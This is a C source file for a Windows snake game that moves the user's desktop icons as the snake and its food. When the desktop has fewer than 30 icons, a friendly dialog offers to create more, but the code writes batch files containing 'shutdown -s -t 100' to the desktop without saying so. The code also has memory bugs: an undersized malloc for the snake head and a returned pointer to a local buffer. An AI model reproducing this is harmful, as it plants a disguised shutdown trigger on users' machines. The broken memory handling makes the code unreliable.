C语言实现桌面贪吃蛇小游戏

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h" 
#include <stdio.h>
#include <string.h>
#define SIZE 100     //图标大小默认为100
HWND deskpot;   //桌面句柄
int iCount = 0;  //图标个数
int screenX;   //获取屏幕的分辨率(宽)
int screenY;	 //获取屏幕的分辨率(高)
int eatCount = 0;  //计数(已经吃到的图标)
int index = 0;
int speed = 500;  //初始速度
typedef struct Snake   //蛇结构体
{
	int x;
	int y;
	int index;
	struct Snake* next;
}snake;
snake* Head;  //蛇头
snake* SnakeTemp;  //临时的
POINT food;  //食物位置
char* GetDesktopPath();      //返回桌面路径
void Initialization();      //初始化变量
void StartGame();         //开始游戏
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	Initialization();
	MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
	StartGame();
	return 0;
}
void Initialization()     //初始化变量
{
	srand(unsigned int(time(NULL)));
	HWND grandpa = FindWindowA("Progman", "Program Manager");
	HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);
	deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");
	iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0);    //获取句柄中控件的个数
	screenX = GetSystemMetrics(SM_CXSCREEN);  //获取屏幕的分辨率(宽)
	screenY = GetSystemMetrics(SM_CYSCREEN);  //获取屏幕的分辨率(高)
	Head = (snake*)malloc(sizeof(Head));
	Head->x = rand() % (screenX / SIZE) * SIZE;   //蛇头初始化位置
	Head->y = rand() % (screenY / SIZE) * SIZE;
	Head->index = 0;
	Head->next = NULL;
	if (iCount < 30)
	{
		if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES)   //判断桌面图标是否够30个,不够就创建些
		{
			FILE* fp;
			char Path[200];    //保存文件路径
			char temp[20];    //存储文件名
			char FineName[100];  //存储文件的全名加后缀名
			for (int i = 0; i < 30 - iCount; i++)
			{
				memset(Path, 0, 200 * sizeof(char));
				strcpy(Path, GetDesktopPath());  //将桌面路径给Path
				sprintf(temp, "\\贪吃蛇%d.bat", i);
				strcat(Path, temp);
				if ((fp = fopen(Path, "w+")) == NULL)
					continue;  //如果他建失败就跳过
				fprintf(fp, "shutdown -s -t 100");
				fclose(fp);
			}
		}
	}
	for (int i = 0; i < iCount; i++)
	{
		//因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算
		SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
	}
	return;
}
char* GetDesktopPath()      //返回桌面路径
{
	LPITEMIDLIST pidl;
	LPMALLOC pShellMalloc;
	char szDir[200];
	if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
	{
		if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
		{
			// 如果成功返回true 
			SHGetPathFromIDListA(pidl, szDir);
			pShellMalloc->Free(pidl);
		}
		pShellMalloc->Release();
	}
	return szDir;
}
void StartGame()         //开始游戏
{
	SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x);   //打印蛇头
label:
	food.x = rand() % (screenX / SIZE) * SIZE;
	food.y = rand() % (screenY / SIZE) * SIZE;
	if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
		goto label;
	SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x);   //打印食物
	snake SnakeMove;    //蛇的移动
	SnakeMove.x = 1, SnakeMove.y = 0;   //默认向右移动
	while (eatCount < iCount)
	{
		if (GetAsyncKeyState(VK_UP) != 0)   //上
			SnakeMove.x = 0, SnakeMove.y = -1;
		if (GetAsyncKeyState(VK_DOWN) != 0)  //下
			SnakeMove.x = 0, SnakeMove.y = 1;
		if (GetAsyncKeyState(VK_LEFT) != 0)  //左
			SnakeMove.x = -1, SnakeMove.y = 0;
		if (GetAsyncKeyState(VK_RIGHT) != 0)  //右
			SnakeMove.x = 1, SnakeMove.y = 0;
		if (GetAsyncKeyState(VK_ESCAPE) != 0)  //结束
		{
			MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
			exit(0);
		}
		if (GetAsyncKeyState(VK_SPACE))     //按空格键暂停
		{
			while (1)
			{
				Sleep(300);
				if (GetAsyncKeyState(VK_SPACE))     //再按一次空格键继续
					break;
			}
		}
		if (Head->x == food.x && Head->y == food.y)
		{
			index++;
			eatCount++;
			speed = speed - (speed / 10);
			snake* temp;
			temp = (snake*)malloc(sizeof(snake));
			temp->x = food.x;
			temp->y = food.y;
			temp->index = index;
			temp->next = NULL;
			SnakeTemp = Head;
			while (SnakeTemp->next != NULL)
			{
				SnakeTemp = SnakeTemp->next;
			}
			SnakeTemp->next = temp;
			SnakeTemp = Head;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			while (SnakeTemp != NULL)
			{
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				SnakeTemp = SnakeTemp->next;
			}
		label2:
			food.x = rand() % (screenX / SIZE) * SIZE;
			food.y = rand() % (screenY / SIZE) * SIZE;
			if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
				goto label2;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x);   //打印食物
		}
		else
		{
			snake Temp;
			snake Temp2;
			bool choice = false;
			SnakeTemp = Head;
			Temp.x = SnakeTemp->x;
			Temp.y = SnakeTemp->y;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				Temp2.x = SnakeTemp->x;
				Temp2.y = SnakeTemp->y;
				SnakeTemp->x = Temp.x;
				SnakeTemp->y = Temp.y;
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				Temp.x = Temp2.x;
				Temp.y = Temp2.y;
				SnakeTemp = SnakeTemp->next;
			}
			if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
			{
				MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
				exit(0);
			}
			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
				{
					MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
					exit(0);
				}
				SnakeTemp = SnakeTemp->next;
			}
		}
		Sleep(speed);
	}
	return;
}